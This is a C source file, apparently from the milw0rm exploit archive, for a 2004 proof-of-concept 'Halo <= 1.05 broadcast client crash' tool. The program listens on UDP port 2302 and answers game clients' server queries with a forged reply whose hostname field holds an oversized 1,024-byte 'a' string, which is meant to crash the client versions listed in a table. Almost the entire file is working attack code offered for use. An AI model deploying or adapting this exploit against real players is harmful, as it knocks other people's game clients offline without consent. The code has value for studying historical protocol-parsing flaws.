290 lines
No EOL
9.8 KiB
C
290 lines
No EOL
9.8 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#ifdef WIN32
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#include <winsock.h>
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define BUFFSZ 2048
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#define PING "\x05\x00\x00\x00\x00\x00"
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#define PORT 2302
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#define GAMEVER "GAMEVER__HERE"
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#define BOOM "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
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char *versions[][2] = {
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{ "1.05", "01.00.05.0610" },
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{ "1.04", "01.00.04.0607" },
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{ "1.031", "01.00.03.0606" },
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{ "1.03", "01.00.03.0605" },
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{ "1.02", "01.00.02.0581" },
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{ "1.01", "01.00.01.0580" },
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{ "1.00", "01.00.00.0564" },
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{ "ce", "01.00.00.0609" },
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{ NULL, NULL }
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};
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void std_err(void);
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int main(int argc, char *argv[]) {
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int sd,
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len,
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on = 1,
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i,
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iver,
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psz;
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struct sockaddr_in peer;
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u_char buff[BUFFSZ + 1],
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*pck,
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pcklan[] =
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"\x00\x00\x00\x00\x00"
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"hostname\0" BOOM "\0" /* not only here */
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"gamever\0" GAMEVER "\0"
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"hostport\0" "\0"
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"maxplayers\0" "16\0"
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"password\0" "0\0"
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"mapname\0" "longest\0"
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"dedicated\0" "1\0"
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"gamemode\0" "openplaying\0"
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"game_classic\0" "0\0"
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"numplayers\0" "0\0"
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"gametype\0" "CTF\0"
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"teamplay\0" "1\0"
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"gamevariant\0" "\0"
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"fraglimit\0" "3\0"
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"player_flags\0" "1943015556,2\0"
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"game_flags\0" "65\0"
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"\0" "\0",
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pckinternet[] =
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"\x00\x00\x00\x00\x00"
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BOOM "\0"
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GAMEVER "\0"
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"0\0"
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"CTF\0"
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"openplaying\0"
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"0\0"
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"16\0";
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setbuf(stdout, NULL);
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fputs("\n"
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"Halo <= 1.05 broadcast client crash "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s <version>\n"
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"\n"
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" You must decide what version of the clients you want to crash:\n"
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"\n", argv[0]);
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for(i = 0; *versions[i]; i++) {
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printf(" %s\t%s\n", versions[i][0], versions[i][1]);
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}
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fputc('\n', stdout);
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exit(1);
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}
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for(iver = 0; versions[iver][0]; iver++) {
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if(!strcmp(argv[1], versions[iver][0])) break;
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}
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if(!versions[iver][0]) {
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printf("\nError: you must choose between the versions listed at the beginning\n");
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exit(1);
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}
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printf("- version: %s \t%s\n", versions[iver][0], versions[iver][1]);
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for(i = 0; i < (sizeof(pcklan) - 14); i++) {
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if(!memcmp(pcklan + i, GAMEVER, 13)) {
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memcpy(pcklan + i, versions[iver][1], 13);
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break;
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}
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}
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for(i = 0; i < (sizeof(pckinternet) - 14); i++) {
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if(!memcmp(pckinternet + i, GAMEVER, 13)) {
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memcpy(pckinternet + i, versions[iver][1], 13);
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break;
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}
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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peer.sin_addr.s_addr = INADDR_ANY;
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peer.sin_port = htons(PORT);
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peer.sin_family = AF_INET;
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psz = sizeof(peer);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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printf("- bind UDP port %d\n", PORT);
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if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
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< 0) std_err();
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if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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fputs("\nClients:\n", stdout);
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while(1) {
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len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
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if(len < 0) std_err();
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if(buff[2]) {
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printf("PING %s:%hu\n",
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inet_ntoa(peer.sin_addr), htons(peer.sin_port));
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if(sendto(sd, PING, sizeof(PING) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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continue;
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}
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if(len == 10) {
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fputs("LAN ", stdout);
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pck = pcklan;
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len = sizeof(pcklan) - 1;
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} else {
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fputs("INTERNET ", stdout);
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pck = pckinternet;
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len = sizeof(pckinternet) - 1;
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}
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printf("%s:%hu\n",
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inet_ntoa(peer.sin_addr), htons(peer.sin_port));
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memcpy(pck, buff + 2, 5);
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if(sendto(sd, pck, len, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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}
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close(sd);
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return(0);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2004-11-22]
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